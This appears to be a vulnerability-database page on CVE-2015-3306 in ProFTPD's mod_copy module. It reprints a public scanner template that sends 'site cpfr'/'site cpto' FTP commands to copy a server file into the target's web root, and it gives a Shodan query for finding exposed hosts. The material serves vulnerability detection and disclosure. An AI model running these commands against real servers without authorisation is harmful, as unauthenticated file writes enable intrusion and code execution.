CVE-2015-3306: ProFTPd - Remote Code Execution

日期: 2025-08-01 | 影响软件: ProFTPd | POC: 已公开

漏洞描述

ProFTPD 1.3.5 contains a remote code execution vulnerability via the mod_copy module which allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.

PoC代码[已公开]

id: CVE-2015-3306

info:
  name: ProFTPd - Remote Code Execution
  author: pdteam
  severity: critical
  description: ProFTPD 1.3.5 contains a remote code execution vulnerability via the mod_copy module which allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code with the privileges of the ProFTPd process.
  remediation: Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later.
  reference:
    - https://github.com/t0kx/exploit-CVE-2015-3306
    - https://www.exploit-db.com/exploits/36803/
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157053.html
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157054.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3306
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2015-3306
    cwe-id: CWE-284
    epss-score: 0.93943
    epss-percentile: 0.99875
    cpe: cpe:2.3:a:proftpd:proftpd:1.3.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: proftpd
    product: proftpd
    shodan-query: cpe:"cpe:2.3:a:proftpd:proftpd"
  tags: cve2015,cve,network,ftp,rce,proftpd,edb,tcp
tcp:
  - host:
      - "{{Hostname}}"
    port: 21
    inputs:
      - data: "site cpfr /proc/self/cmdline\r\n"
        read: 1024

      - data: "site cpto /tmp/.{{randstr}}\r\n"
        read: 1024

      - data: "site cpfr /tmp/.{{randstr}}\r\n"
        read: 1024

      - data: "site cpto /var/www/html/{{randstr}}\r\n"
    read-size: 1024
    matchers:
      - type: word
        part: raw
        words:
          - "Copy successful"
# digest: 4b0a00483046022100c4c5f916b713dd83efefee4e6fa0e6e5a7f8cd442f64e7325dc807a3ffaf3d5102210086ade5659ec3294b91062e4d0dc05fa4f5b94c2c1620ad89c36541bce556f833:922c64590222798bb761d5b6d8e72950

相关漏洞推荐